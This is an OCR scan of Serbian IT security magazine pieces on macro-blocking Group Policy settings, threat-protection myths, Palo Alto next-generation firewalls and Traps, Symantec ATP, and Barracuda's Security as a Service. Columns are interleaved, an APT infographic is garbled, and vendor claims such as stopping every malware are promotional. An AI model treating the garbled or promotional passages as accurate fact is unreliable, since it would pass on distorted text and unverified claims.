1: Konfigurisite sigurnu lokaciju
Onemogucavanje makroa nije izvodlji-
va opcija, narocito u kancelarijskom
okruZenju gde su makroi osmisljeni da
pojednostave i automatizuju slozene
zadatke.

Ako vasa organizacija koristi ma-
kroe, mozete premestiti dokumente
koja koriste makroe u kompanijin DMZ
(demilitarizovana zona), koja se jo$ na-
ziva i ,sigurna lokacija® Da konfiguri-
$ete sigurnu lokaciju, moze da koristite
slededi nacin:

User Configuration/Administrative
Templates/Microsoft Office XxX
20xX/Application Settings/
Security/Trust Center/Trusted
Locations

Kada je konfiguriSete, makroi koji ne
pripadaju sigurnoj lokaciji nece biti pokre-
nuti ni na koji nacin, a to ojacava sigurnost
vaSeg sistema.

2: Blokirajte makroe u Office
dokumentima koji su primljeni
preko Interneta
Misrosoft je nedavno otkrio novi metod
zastite dodajuci novu funkciju takticke
sigurnosti kako bi se ogranicili napadi
preko makro-komandi u MS Office 2016.
Ta zagtita u krajnjoj liniji sprec¢ava da
sistem bude nasilno preuzet. Nova fun-
kcija predstavlja skup podesavanja koja
dopustaju administratorima u preduze-
¢ima da onemogucée pokretanje makroa
u Office dokumentima koji su primljeni
preko Interneta.

Novo podes$avanje ima naziv Block
macros from running in Office files from the

Internet i moze se obaviti preko Group po-
licy management editor-a na slededi nadin:

User configuration >>
Administrative templates >>
Microsoft word 2016 >> word
Options >> Security >> Trust
Center

Moze se izvrsiti konfiguracija za svaki
pojedina¢ni Office program. Omogucava-
njem ove opcije, makroi koji dolaze sa In-
terneta su blokirani, ¢ak iako imate opciju
»omogucu sve Makro-e“ (eng. Enable all
macros) u podes$avanjima makroa. Dalje,
umesto opcije Enable Editing, primicete
obavestenje da su makroi blokirani zato
$to dolaze iz nepouzdanog izvora. Jedini
nacin da se pokrene takav Office doku-
ment jeste da se sacuva u sigurnoj lokaciji
i da se tako dozvoli pokretanje makroa.




ajveci broj kompanija i

drzavnih organizacija sazna

da su impodaci ukradeni
tek kad.ih.ottome obavesti neka treca
strana, a tada je najcesce prekasno.
Problem delom nastaje i zbog toga
$to menadzeri veruju u neke ¢esto

pominjane teze o bezbednosti, iako te
teze ne prolaze proveru realnog sveta.

Kako broj sofisticiranih ciljanih
napada raste, sve je ve¢i i broj orga-
nizacija koje su izloZene riziku. Na
zalost, mnoge od njih ni ne znaju da
su meta napada, pored ostalog i zato
$to ¢ak i informatic¢ki profesionalci
veruju u neke mitove koji, poka-
zuje se, ¢ine njihove sisteme manje
bezbednim. Rezimirajmo te mitove,
ukazujudi na realnost...

PET
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MITOVA O ZASTITI
OD PRETNJI

Najveci broj bezbednosnih
incidenata se otkrije u roku od 30 dana i
otkloni se brzo.

Vise od 65% upada, odnosno
probijanja sistema bezbednosti ostane
neotkirveno duZe od 30 dana. Zapravo,
prose¢noj organizaciji je potrebno devet
meseci da otkrije upad u svoje okruzenje.
Cak i kad se upad otkrije, potrebno je vie
od Cetiri meseca za potpunu sanaciju i ¢i-
$¢enje okruzenja.

Samo sofisticirani napadi
treba da nas brinu, jer ¢e na$ antivirusni
softver da se postara za ostale pretnje.
Istina je da su napadi najvideg
profila Cesto jedinstveni i ciljaju specifi¢ne
tacke. Ali isto tako postoji i trziste za ve¢
gotove viruse i malvere, za koje napadac
ne mora da ima posebna tehnicka zna-
nja. Krajem 2013. drugi najvec¢i americki
lanac prodavnica Target, pretrpeo je veliki
gubitak zbog upada, kada su iscureli li¢ni
i finansijski podaci viSe od 110 miliona
kupaca. Napadac¢ nije bio hakerski genije,
ve¢ je koristio malver koji kosta manje od
2.500 dolara na crnom trzistu.

iE:x] Bezbednosne zakrpe operativ-
nog sistema dovoljne su da nas zastite od
zero-day (sasvim novih) pretnji.

Dostupnost zero-day i drugih
exploit-a za naj¢e$ce kori§¢ene operativne
sisteme, i ranjivosti kao $to su HeartBleed i
Shellshock koji su ,,gadali“ SSL komponente u
$irokoj upotrebi, pokazuju da ne funkcionisu
sve mere zastite onako kako pretpostavljamo.

Air-gapped mreie su bezbedne
od napada.

Cak su se i izolovani uredaji i
mreZe pokazali kao nebezbedni, to su nam
pokazali Stuxnet i Duku napadi. Zbog veli-
kog broja vektora napada, sistema, protiv-
nika i ciljeva, postalo je nemoguce blokirati
svaku pretnju pre nego §to stigne do mreZe.
Ne treba zaboraviti ni to da sistem moze da
bude ugrozen i iznutra, da neki zaposleni
ili spoljni saradnik, namerno ili slu¢ajno,
moze da kompromituje masinu ¢akiu
okviru izolovane mreze.

Upadi su neizbezni. Samo mo-
ramo da se fokusiramo na zastitu masina
i mreZe.

Nije ta¢no. Organizacije moraju
da nastave da blokiraju pretnje na svim kon-
trolnim tackama u realnom vremenu; to je
klju¢na funkcija koja postoji u modernim
re$enjima, kao $to su endpoint protection
proizvodi, e-mail security sistemi, secure
Web gateway-i1i firewall-ovi nove generacije.

IT KLINIKA
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STA JE HIRWY/ 1

NOVE GENERACIJE?

ir Zuk, osniva¢ kompanije Palo
N Alto Networks, tvorac je firewall
uredaja nove generacije.
On je otpoceo karijeru i rad na firewall
zadtiti u izraelskoj armiji, kada je otisao
na odsluZenje vojnog roka i usao u elitnu
elektronsku obavestajnu jedinicu Unit 8200.
Gil Shwed, koga je tada upoznao, ubrzo po
izlasku iz vojske je osnovao Check Point
(1993). Tokom rada u izraelskoj vojsci, Zuk
je osmislio tehnologiju Statefull Inspection,
koja ¢e kasnije postati i ostati deo goto-
vo svakog ozbiljnog firewall reSenja, pa ga
je Shwed ve¢ 1994. ,,regrutovao” u redove
Check Pointa, gde je u¢estvovao u pravljenju
njihovog vodeceg proizvoda Firewall-1. Na-
zalost, Check Point nije imao razumevanja
za re$enja koja je predlagao Nir Zukion je
1999. napustio tu firmu i osnovao OneSe-
cure, koji 2002. prodaje Netscreenu. Juniper
Networks je kupio Netscreen 2004, a Zuk se
nadao da ¢e mu bolji uslovi u ve¢oj kompa-
niji doneti mogu¢nost da radi na komple-
tnoj reviziji klasi¢nih firewall uredaja. Kao i
druge velike americ¢ke korporacije, Juniper
nije imao sluha i vie je brinuo o smanji-
vanju troskova nego o razvoju, tako da ih
Zuk napusta poc¢etkom 2005. Iste godine je
osnovao Palo Alto Networks, firmu koja e iz
temelja promeniti svet firewall uredaja.

ZASTO OBICAN FIREWALL
VISE NIJE DOVOLJAN?

Firewall treba da spreci nezeljeni saobracaj,
blokira ,,upade® u lokalnu mrezu i zastiti ra-
¢unare u njoj. Sve dok su aplikacije koristile
strogo definisane portove i protokole, to je i
bilo mogucée kori$¢enjem klasi¢nih firewall
uredaja. Ono §to se u ve¢ini mreza propu-
$talo kroz firewall uredaje, bio je http (su-
frovanje mreZom) odnosno port 80. Tvorci
raznih aplikacija, ali i sajberkriminalci, brzo
su shvatili da mogu kori$¢enjem httpa da
»produ” moc¢nu i skupu zastitu koju pruzaju
firewall uredaji, tako da ¢e danas gotovo sve
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aplikacije raditi bez problema kori$¢enjem
samo httpaiporta 80 — Skype, p2p, torrent...
$ta god. Zastitna ograda je bila mo¢na i
neprobojna, ali je kapija kod broja 80 bila
$§irom otvorena. Klasi¢ni firewall uredaji
ponudili su delimi¢no re§enje kroz prace-
nje saobracaja i skeniranje uz integraciju sa
antimalware re§enjima, ali to nije pomo-
glo — sve do firewall uredaja nove generacije
koju predvodi Palo Alto Networks (PAN).

Zasto PAN uredaji pruzaju bolju zasti-
tu? Pre svega, oni mogu da ,vide® i kon-
troli$u ve¢inu poznatih i manje poznatih
- bez obzira na to koji port i protokol ko-
riste ili ako koriste neku od taktika sakriva-
nja. PAN uredaji mogu ¢ak i da identifikuju
kriptovan saobracaj SSL aplikacija.

Drugi klju¢ni adut jeste identifikaci-
ja korisnika. Da, mogu da se integri$u sa
ADom (Active Directory), kao i mnoga dru-
ga redenja, ali PAN uredaji idu korak dalje -
mogu da prate logovanje korisnika, pristup
Exchange serveru, proveru ko je prijavljen,
ulogovan na radnu stanicu i tome sli¢no.
Sve to kako bi sa sigurno$¢u utvrdili koji ko-
risnik se sluzi kojim uredajem i aplikacijom.

Treéa karakteristika je precizna kontro-
la sadrzaja, koja pruza zastitu od $irokog
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spektra pretnji, sprecava neautorizovan
prenos fajlova/podataka i kontroliSe kon-
traproduktivno Web surfovanje.

Pored toga, PAN uredaji mogu da kon-
trolisu SSL i SSH (kriptovani) saobracaj,
upravljaju i nepoznatim saobracajem (koji
nije vezan za njima poznatu aplikaciju ili
protokol), skeniraju i §tite od zlonamernog
koda sve aplikacije i sve portove/protoko-
le, pri ¢emu pruzaju lako i centralizovano
upravljanje i lako sprovodenje polisa za sve
korisnike, preko svih uredaja/lokacija uz
visoke performanse.

KLASICAN FIREWALL OK
Palo Alto Network je nedavno analizirao
mrezni saobracaj u vie od 5.500 firmi.
Obuhvaceno je 2.100 aplikacija, vise od
50 PB (petabajta) podataka i otkriveno
16.000 jedinstvenih pretnji. Rezultati ana-
lize objavljeni su na adresi www.paloalto-
networks.com/autr, a najznacajnija otkric¢a
iz nadeg regiona, EMEA, sumiramo ovde.
Analiza u EMEA regionu obuhvatila je
1.500 organizacija, 1.700 aplikacija, 7,6 PB
saobracaja i oko 4.750 pretnji. Ono §to je ja-
sno i bez analize, jeste to da je upotreba in-
terneta evoluirala — pored standardnog sur-



fovanja, sada se koriste i razni email klijenti
i sistemi, drustvene mreZe, alati za udaljeni
pristup, sistemi za razmenu i cuvanje fajlova
i podataka, chat, voice i svasta drugo. Deo
ovih aplikacija se jednako koristiiu licneiu
poslovne svrhe. U Evropi se najvise koriste
uobicajene aplikacije za razmenu podataka,
kao $to su email, file sharing, IM, drustve-
ne mreZe... Neobi¢no je to §to je 27% ovih
aplikacija upotrebljeno za prenos pretnji, a
detektovano je svega 5%! Kada je u pita-

nju samo deljenje fajlova, primeceno je 165
varijanti aplikacija za file sharing (82 su bili
browserbased sistemi, 49 klijent/server i 34
P2P - Peer to Peer) — u proseku je detekto-
vana priblizno 21 aplikacija za deljenje fajlo-
va po preduzecu/organizaciji. Da li nam
zaista treba toliko aplikacija za istu stvar —
deljenje fajlova? Sli¢na prica i podaci vaze i

KAD TRADICIONALNI
LEK NE POMAZE

ANTIVIRUS JE MRTAYV,
STA DALJE?

Pre nekog vremena digla se prasina povodom izjave da je
antivirus mrtav, narocito zbog toga $to je smrt proglasio Bryan
Dye, potpredsednik Symantec-a, vodeceg svetskog proizvoda-

za videofajlove — 118 varijanti, 26 po firmi.
Mali broj aplikacija nosi sa sobom
veéinu malware aktivnosti — gotovo 99%
pretnji dolazi od jedne aplikacije. Top10
uobicajenih pretnji u EMEA regionu dos-
pelo je kroz Webdav, msexchange, ftp, pop3,
facebookbase, msocs/lync, twitterbase, smtp.
Pokusaj iskori$¢avanja ranjivosti (explot)
ima sli¢no pojavljivanje — u svega deset
aplikacija nalazilo se 97% pokusaja.
Detektovano je da 30% aplikacija koristi
SSL - §to je visok procenat, a po aplikaci-
jama najvide se koristi kod deljenja fajlova,
chata (IM) i kod drustvenih mreZa. Problem
sa SSLom je u tome $to klasi¢ni sistemi ne
omogucavaju njegovu inspekciju, tako da se
ne moze utvrditi da li nosi zlonameran kod.
Dobar primer je Team Viewer, aplikacija ko-
ja sluzi za udaljeni pristup ra¢unaru ili uda-
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ljenu pomo¢, prili¢no ¢esto u upotrebi i kod
nas (u Evropi na 75% mreza). Isti protokol
iisti na¢in komunikacije koristi i TeamSpy,
hakovana verzija Team Viewera. Da li ste
sigurni da saobracaj koji pripisujete Team-
Vieweru zapravo ne potice od TeamSpy-a?

WILDFIRE | CYVERA

Palo Alto Networks uredaji, pored nove
generacije firewall-a, donose i nov nacin
borbe protiv naprednih pretnji - WildFi-
re, dinami¢nu analizu pretnji koja pruza
zagtitu od nepoznatog malwarea, zeroday
ranjivosti i APT-ova (Advanced Persi-
stent Threats), a nedavnim preuzimanjem
proizvoda Cyvera za zastitu ra¢unara bez
kori$¢enja antivirus definicija, Palo Alto
Networks zaokruzuje ponudu naprednih
sistema za zagtitu na svim tackama.

Napredne uporne pretnje (APT):

Nepozvani gosti

Kako napadati uspevaju da ostanu u vasoj mredi i

1. UPAD

Hapadati provale u
miredu korisled
melade socijalnog
indenjeringa i Lre
cifjanl malware na
ranjive sisteme i
ljude,

¢a antivirusnog softvera. Mozda je ova izjava bila preterana, ali
je uspela da skrene paznju na neke vazne ¢injenice i da zapoc¢ne
novo poglavlje u razvoju IT bezbednosti — poglavlje proaktivne

zaStite.

DA LI JE ANTIVIRUS MRTAV | ZASTO?

. OTERIVAMNJE
Bad udu o sistem,
napadadi se pritaje
da bi lebegll
otkrivanje.

Dada mapleaju
adbrans organizacije Mo bda instalivaju
benulra b kreirsju
phan bitke i nekodike
paralelndh lenija
napada kako bi

pokupe podatke, a da ne budu otkriveni

3. SARUPLIANIE
Napadadi ulaze u
nezabtiéens sisteme
i sakupljaju podatke
dudl sremenskl
period.

4, FILTRIRAMJE
Sakupljene informacije
s& Safju u matitnu
bazy napad aca gde s
analiziraju | dadje
elsploatity u dju
prevare - Wl za nekto
malware kaji tajna jod gore,
sakuplia podatke il

ometa operacije.

Antivirus koji smo koristili za prevenciju, otkrivanje i otklanjanje

malicioznih programa vise nije dovoljan jer $titi samo od poznatih

pretnji. Tradicionalni antivirus je reaktivna tehnologija, $to znaci
da nas brani tek kad zna ko, odnosno $ta nas napada. Antivirus je
efikasan u zastiti od poznatih pretnji i njihovih novih varijanti, ali
dok se pretnja ne otkrije i dok ne primimo definicije za nju prakti-
¢no smo nezasti¢eni. Kada uzmemo u obzir da svake sekunde nas-
tane jedan potpuno nov virus, znaci da nam dnevno preti ,,samo*
oko 86.400 virusa!

Nove pretnje su toliko brojne da ne mozemo da racunamo na
to da ¢e ih antivirus prepoznati pre nego $to stignu do nas, a po-
sao mu dodatno komplikuje priroda novih pretnji. Nove pretnje
su daleko sofisticiranije od tradicionalnih. One su ¢esto uporne,
odnosno ne izvr$avaju se ¢im virus dospe u sistem, ve¢ mogu da
produ meseci pre nego $to se otkrije da je neki ra¢unar zarazen.
Do tada virus moze lagano da se $iri kroz mrezu. Osim toga, mo-
derne pretnje su ciljane. Napadaci nemaju nameru da zaraze $to
vi$e ra¢unara, nego jedan konkretan, koji ¢e im omoguditi pristup
vaznim informacijama ili nekim delovima sistema.

Dakle, ako se oslanjamo samo na antivirus kao zastitu, ne mo-
zemo da ra¢unamo na to da smo bezbedni.

U KOM SMERU SE KRECE BEZBEDNOST?
Vodedi proizvodaci softvera za bezbednost nude resenja koja se sas-
toje od nekoliko slojeva zastite, koji uklju¢uju i antivirus. Jedno od
takvih reSenja je Symantec Endpoint Protection ¢ijih pet slojeva zasti-
te omogucava ne samo zastitu od poznatih pretnji, nego i nepozna-
tih, kroz analizu reputacije fajla, njegovih karakteristika i ponasanja.
Ipak, Symantec je napravio dodatni korak ka bezbednosti
svojim najnovijim re§enjem Advanced Threat Protection koje se




nadovezuje na Endpoint Protection.
Platforma Advaned Threat Protection
ukljucuje jos dve nove tehnologi-

je, Symantec CynicTM i Symantec
SynapseTM.

Cynic je cloud servis koji detektuje
nepoznate malvere i napredne pretnje
izvrSavajuci sadrzaj u virtualnim i ba-
re-metal sandbox okruzenjima. Cynic
oponasa ljudski nacin rada preko niza
operativnih sistema i naj¢esce kori$ce-
nih aplikacija kako bi izdaleka izvrsio
sumnyjive fajlove. Zatim kombinujuci
analizu ponasanja (SONARTM) sa
globalnom mrezom informacijama o
pretnjama, daje konac¢nu presudu o to-
me da li je fajl bezbedan. Na taj nac¢in
detekcija se podiZze na visi nivo. Synap-
se radi korelaciju informacija izmedu
mreze, krajnjih tacaka i e-mail-a, kako
bi definisao dogadaje koji zahtevaju
posebnu paznju, odnosno isti¢e ono
$to je vazno, tj. prioritetno.

PALO ALTO TRAPS

Palo Alto Networks je osmislio Advan-
ced Endpoint Protection (TrapsTM),
koja nije samo nov i drugaciji proi-
zvod, ve¢ predstavlja potpuno novu
kategoriju zastite koja redefinise
dosadasnji nacin razmisljanja o zastiti
krajnjih tacaka sistema.

Traps je revolucionaran proizvod,
jer fokus delovanja stavlja na tehniku
napada. Iako se godisnje otkrije vise
hiljada ranjivosti operativnih sistema i
vi$e hiljada novih malvera, broj tehni-
ka kojima se sluze napadaci je mno-
go manji. Upravo tehnike kojima se
koriste napadaci je ono §to Traps prati.
Traps prostavlja zamke (eng. traps)
pretnjama koje pokusaju da upotrebe
neku od tehnika koje su tipi¢ne za zlo-
namerne akcije i zaustavlja ih.

Na taj nacin Palo Alto Networks
Traps obezbeduje naprednu zastitu
krajnjih tacaka koja sprecava sofistici-
rano iskori§¢avanje ranjivosti i napade
pomocu nepoznatih malvera, upravo
ono Sto antivirus ne moze.

ZAKLJUCAK

Antivirus ipak nije mrtav, on jo$ uvek
ima znacajnu funkciju u odbrani, ali
definitivno nije dovoljan. Nove pretnje
zahtevaju nove, proaktivne nacine od-
brane. Napredne tehnologije odbrane,
kakve su ATP i Traps su budu¢nost IT
bezbednosti.

alo Alto Networks (PAN) je pre vise

P od tri godine napravio revoluciju sa
firewall uredajima, a sada je najavio i
revoluciju na polju zastite ra¢unara, servera

i radnih stanica - krajnjih tacaka IT sistema.

Adut kojim PAN namerava da osvoji trziste
kojim dominiraju proizvodaci antivirusne
zadtite zove se Traps.

Koliko ¢esto ste u poslednje vreme ¢uli
recenicu: ,, Antivirus vise nije dovoljan“?
Proizvodaci klasi¢ne antivirusne zastite
razvijaju dodatne mehanizme i tehnologije
koje pomazu u zastiti krajnjih tacaka, jer
znaju da AV resenje koje se zasniva samo
na definicijama viSe ne moze da ponudi
adekvatnu zastitu. Evolucija na ovom polju
ide nedovoljno brzo, o ¢emu svedoce brojni
upadi i krade podataka najvecih trgovinskih
lanaca i banaka, koji su poceli ubacivanjem
novih, naprednih pretnji, nastalih samo za
tu priliku/napad na krajnje tacke Zrtvi.

STA MOZE TRAPS?

Veliki su izgledi da ¢e Palo Alto Networks
ponoviti prethodni uspeh s novim proizvo-
dom Traps, sistemom za zastitu krajnjih
tacaka IT sistema (radnih stanica i servera)
od malvera i poku$aja upada i napadaiod
novih, naprednih, neotkrivenih pretnji.
Traps je skracenica od Targeted Remote
Attack Prevention System, ,,nasledena” od

firme Cyvera, koju je PAN nedavno preuzeo.

Traps ¢ine centralni server za upravlja-
nje — Endpoint Security Manager (ESM),
baza i agenti koji se instaliraju na krajnje
tacke. I tu se svaka dalja sli¢nost s drugim
proizvodima zavr$ava! Traps agenti ne ko-
riste definicije virusa, ali omogucavaju:

« sprecavanje zloupotrebe svih ra-
njivosti sistema (exploits), uklju¢ujudi

i takozvane zeroday ranjivosti (zeroday
vulnerabilities);

« zaustavljanje svakog malvera, bez
njegovog prethodnog poznavanja tj. bez
definicija i potpisa;

o pruzanje detaljne forenzike sprece-
nih napada, radi analize i daljeg sprecava-
nja i uvodenja mera zastite;

+ skalabilnost i malo opterecéenje
sistema, uz laku integraciju s postoje¢im
re$enjima ¢iji rad ne ometaju;

o Dblisku integraciju s dostupnim net-
work i cloud re§enjima za zatitu i razmenu
informacija radi pobolj$anja opsteg siste-
ma zaStite.

Traps agenti zauzimaju najvise do 25 MB
memorije, opterecenje procesora je u prose-
ku 0,1%, a I/O operacije su minimalne.

KAKO TRAPS SVE TO POSTIZE?
PAN Traps polazi od spre¢avanja upotrebe
tehnika koje koriste malveri — godi$nje se
otkriju hiljade ranjivosti operativnih siste-
ma, ali su to zapravo samo dve do Cetiri te-
hnike kojima se ranjivosti iskori$¢avaju. Isto
vazi i za malver, koji se meri milionima go-
di$nje, ali svi oni zapravo koriste svega 10-
100 novih tehnika. Upravo tehnike kojima
se koriste napadaci, malveri i nove pretnje,
jesu ono §to PAN Traps prati i zaustavlja
one za koje proceni da su zlonamerni. Traps
postavlja zamku (engl. trap) pretnjama koje
pokusaju da upotrebe neku od tehnika za
napad, $irenje ili zloupotrebu ranjivosti.
PAN Traps koristi i WildFire, PAN te-
hnologiju analize ponasanja aplikacija u
cloudu, te moze da posalje uzorke aplikacije
na analizu, gde ¢e sama tehnologija WildFi-
re utvrditi da li se radi o pretnji ili obi¢noj
aplikaciji. Ista tehnologija je ve¢ dokazana i
oprobana kod PAN firewall uredaja.

PAN REVOLUCIJA

Palo Alto Networks se ovde ne zaustavlja,
ve¢ najavljuje jo§ novosti — blisku inte-
graciju svog firewall-a nove generacije sa
VMware NSXom, VMware reSenjem za vir-
tuelizaciju mreZze i budu¢om platformom
za zastitu. Ako Palo Alto Networks Traps i
u praksi dokaze da je dovoljan za komple-
tnu zastitu ra¢unara i servera, ocekuju nas
uzbudljive promene na trzistu koje se nije
bitno menjalo od osamdesetih i devedese-
tih godina — Palo Alto Networks bi¢e pionir
koji ¢e zaokruziti i pruziti kompletnu plat-
formu zagtite svih segmenata IT sistema.
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ALTERNATIVNA

IT MEDICINA
(SECURITY

AS A SERVICE)

loud ratunarstvo, hostovani servisi

i aplikacije na zahtev, redefinisali

su nacin na koji korisnici pristupa-
ju podacima i razmenjuju ih, ali bezbedno-
sna re$enja ostala su zaglavljena u proslos-
ti, sputana komplikovanom arhitekturom
i ograni¢enim razmi$ljanjem. ReSenje
donosi cloud, tj. Security as a Service, SaasS.

Preduzeca koja hoce da se odupru pre-

tnjama moraju da razmotre novu meto-
dologiju bezbednosti, posto tradicionalna
re$enja nailaze na veoma ozbiljne izazove:

NOVE PRETNJE Mnogi adminis-
tratori smatraju da razvoj bezbednosnih
re$enja ne prati tempo kojim se pretnje i
napadi menjaju. Nove pretnje zahtevaju sve
sloZeniju bezbednosnu infrastrukturu, jer
da bismo se odbranili od dana$njih pretnji,
potrebna je vi$eslojna zastita koja ¢esto
podrazumeva vide re$enja — pocev od razli-
¢itih uredaja, preko firewalla, do softvera.
Kombinacija ovih reSenja omogucava naj-
bolju zastitu, ali tu nastaje slede¢i problem.

SLOZENOST Medusobna integraci-
ja razli¢itih re§enja za bezbednost, zbog
njihove medusobne nekompatibilnosti,
moze da stvori jo§ ve¢i problem nego sama
pretnja. Buduc¢i da ¢esto dolaze od razlic¢itih
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proizvodaca, bezbednosna re$enja imaju i
razlic¢ite tehnicke zahteve za uspe$an rad.
Takode, svako od njih zahteva posebna zna-
nja, $to znaci da je potrebna dodatna obuka
za administratore ili zapo$ljavanje novog
kadra, a to dovodi do povecanja troskova.

NEPREDVIDENI TROSKOVI Prema
nekim istrazivanjima, 20 odsto IT budzeta
preduzeca izdvaja se za bezbednost, s tim
$to precizna suma tesko moze da se odredi.
Razlog je u tome $to, ¢ak i ako deo budzeta
odredite za neku nepredvidenu bezbedno-
snu okolnost ili havariju, ne mozete da zna-
te kakva ¢e havarija biti i kakvu ¢e sanaciju
zahtevati - koliko radnih sati angaZovanja,
da li e biti potrebna kupovina nove tehno-
logije, angazovanje konsultanata, eksperata i
sli¢no. Ako bismo na tu sumu dodali i cenu
gubitka ili kompromitovanja podataka, kao
i moguce pravne posledice tog gubitka, on-
da je jasno zasto budzet za bezbednost moze
da se otrgne kontroli.

STATICNOST Tradicionalnim resenji-
ma zamera se to §to ne prate rast predu-
zeca. Kada se preduzecle razvije i preraste
jednu lokaciju, centralizovana bezbednost
postaje gotovo nemogu¢ zadatak. Filijale,
ogranci i udaljene lokacije zahtevaju svoj
skup bezbednosnih resenja, koja treba da
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funkcioni$u nezavisno, ali da ipak budu
centralno upravljana. Takve zahteve tradi-
cionalna re$enja nisu u stanju da ispune.
NEPREKIDNA BORBA Mozda i
najveci problem onpremise re$enja jeste
stalna potreba za azuriranjem, krpljenjem i
popravljanjem bezbednosnih propusta. An-
timalware aplikacije zahtevaju dnevno azu-
riranje bezbednosnih potpisa, a aplikacije za
filtriranje dnevno azuriranje URL baza. Isto
vazi za operativne sisteme i aplikacije, koji-
ma su potrebne zakrpe i popravke kako bi
se izbegle neze ljene situacije. Najjednostav-
niji na¢in da se taj problem re$i jeste prela-
zak na re$enja koja se automatski azuriraju.
Svi ti problemi narocito dolaze do izra-
zaja kod malih i srednjih preduzeca (kakva
je zapravo i ve¢ina preduzeca), koja nemaju
novca, ljudi, niti tehnickih znanja potrebnih
za tradicionalna bezbednosna re$enja. Bu-
dudi da su manje organizacije danas podje-
dnako izloZene napadima i pretnjama kao i
velike, postavlja se pitanje kako ih zastititi.

UZROK = RESENJE?
Sve vedi broj pretnji zapravo je nuspojava
Web 2.0 tehnologija, kao $to su cloud ratu-
narstvo, SaaS$ i hostovane aplikacije. Svaka
od ovih tehnologija zahteva povezivanje
putem Interneta, koje ¢esto nije bezbedno.
Web 2.0 tehnologije mogu da budu kori-
sne za produktivnost, ali zbog njih raste
broj opterecenja za administratore. Mnogi
servisi dozvoljavaju korisnicima da zaobidu
korporativne kontrole i pristupaju aplika-
cijama direktno, stavljaju¢i samo lokalnu
(endpoint) zastitu i eventualno korporativni
firewall izmedu aplikacije i korisnika. Pro-
blem se pogorsava kada mobilni korisnici i
udaljene kancelarije udu u jednacinu.
Tipi¢an korisnik Zeli da ima neome-
tan pristup resursima potrebnim za rad.
Gledano iz ugla ITja, ta jednostavna Zelja
izgleda dosta komplikovanije. Problem lezi
u tome $to se do tih resursa, potrebnih za
rad i razvijanje poslovnih veza, dolazi pu-
tem Interneta, odnosno raznih drustvenih
mreza, Web sajtova i servisa za razmenu
poruka. Da bi se omogucio bezbedan pris-



tup resursima, potrebno je implementirati
bezbroj bezbednosnih servisa, pri ¢emu
krajnji korisnik ne sme da bude opterecen.

IT odeljenja se suoc¢avaju sa dva izazo-
va, jedan je Web bezbednost, a drugi Zelje i
potrebe krajnjih korisnika. Ako bi ogranicili
pristup eksternim resursima, produktivnost
bi trpela, a ako bi pak otvorili mrezu ekster-
nim resursima, bezbednost bi bila ozbiljno
ugrozena. Sve ove zahteve, bezbednosne i
korisnicke, nije moguée ispuniti pomoc¢u
desktop ili endpoint re$enja, ve¢ moraju da
se primene slozena bezbednosna resenja
koja opterecuju sistem (i administratore),
skupa su i nisu potpuno pouzdana.

Jedan od nacina da se ovi problemi rese
jeste da se upotrebe upravo tehnologije
koje su do problema i dovele. Drugim reci-
ma, kori$¢enjem hostovanih bezbednosnih
redenja, korisnici se mogu zastititi od pro-
blema nastalih zbog hostovanih aplikacija.
Ovaj koncept u potpunosti menja dina-
miku bezbednosti. Svaki korisnik postaje
stalno zadti¢en, bez obzira na to odakle i
kako se povezuje na Internet.

SAAS KAO MODEL
BUDUCNOSTI

Model Security as a Service daje vise slojeva
zagtite i nudi dodatne pogodnosti zastite
korisnika dok pretrazuju Web, spre¢ava-
ju $irenje malvera, upada i drugih pretnji.
Bezbednost kao servis omogucava pristu-
pacnu zastitu, tako $to deli tro$ak na vise
pretplatnika. Drugim re¢ima, preduzeca
mogu da koriste prednosti highend re$enja,
a ne moraju da plate punu cenu.

SaaS$ kao model bezbednosti ima neko-
liko prednosti u odnosu na tradicionalna
premisebased re$enja, zbog kojih i postaje
izbor za bezbednost preduzeca svih velici-
na. To se naro¢ito odnosi na Web bezbe-
dnost, jer omogucava:

APPLIGATION:#

SERVIIZE

« Bolje definisanje polisa, lakSu dis-
tribuciju i izvrsavanje: Za Web bezbe-
dnost pre svega, polise se jednom definisu
i automatski distribuiraju na razli¢ite
lokacije, uz centralizovano upravljanje i
izvrSavanje.

« Bolje distribuiranje bezbednosti:
SaasS resenja izvr$avaju bezbednosne pro-
cedure na radnim stanicama (endpoints)
bez obzira na lokaciju, opremu i infras-
trukturu. Svaki povezani uredaj potpuno
je zasti¢en i kontrolisan polisama, ¢ak i
ako se ne nalazi u stati¢cnom okruzenju.
Fizicka lokacija vise ne utice na efektivnost
bezbednosti, jer se analiza i bezbednosne
odluke odvijaju u cloudu. Tradicionalna
re$enja oslanjaju se na fizicku vezu izmedu
endpointa i glavnog bezbednosnog uredaja,
$to komplikuje moguénost zastite mobil-
nih korisnika ili korisnika na udaljenim lo-
kacijama, koji pristupaju mrezi sa laptopa i
drugih uredaja.

o+ Nizi ukupni troskovi: Kod Saas$ resenja
za bezbednost, za razliku od tradicionalnih,
nemate trogkove za hardver, softver, inte-
graciju i odrzavanje, ve¢ samo jednu stavku
— uslugu. Sto je jos vaZnije, cena se odreduje
na osnovu potrebnih kapaciteta (ili kapaci-
teta u upotrebi), a ne na osnovu ocekivanih,
ali neodredenih potencijala rasta. Drugim
re¢ima, cena se kod SaaS modela zasniva na
stvarnoj potrosnji, dok kod tradicionalnih
re$enja morate da razmisljate o moguéim
scenarijima za slucaj rasta i da predvidite
maksimume kori$¢enja.

« Nizi operativni troskovi: Bezbednost
kao servis eliminise potrebu za dodatnom
podrskom, tehnickom obukom, nadogra-
dnjom na nove verzije programa i drugim
skrivenim tro$kovima na koje smo nailazili
kod onpremise resenja.

« Unapredena instalacija i imple-
mentacija: Saa$S re§enja dizajnirana su za
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instant implementaciju, uz malo ili nimalo
posla za administratore. Teret integracije s
postoje¢om infrastrukturom nije vas, ve¢
ga prebacujete na Saa$S provajdera.

SAAS NA NASEM TRZISTU
Jedan od vode¢ih provajdera Security as a
Service re$enja jeste Barracuda Networks.
Njihovo SaasS re$enje Web Security Service
je Web gateway zasnovan na cloud tehnolo-
giji, koji $titi korisnike od malvera, phishing
prevara, krade identiteta i drugih malicio-
znih aktivnosti na Internetu. Servis je sme-
$ten izmedu kompanijske mreze i Inter-
neta, tako da §titi korisnike dok obavljaju
aktivnosti na Webu. Web Security Service:

» Obavlja inspekciju odlaznog Web
saobracaja radi bezbednosti i uskladenosti
s propisima,

» Analizira saobracaj sa Web sajtova,
traze¢i zlonamerne programe i neodobre-
ne korisnike,

» Pravi izvestaje o ponasanju svih ko-
risnika i

. Stiti zaposlene koji koriste Internet
na radnom mestu, laptopu ili na mobilnim
uredajima.

Sve administrativne funkcije obav-
ljaju se iz Web browsera, ne optere¢ujuci
vage I'T resurse. Struktura licenciranja
omogucava vam da kupite samo onoliko
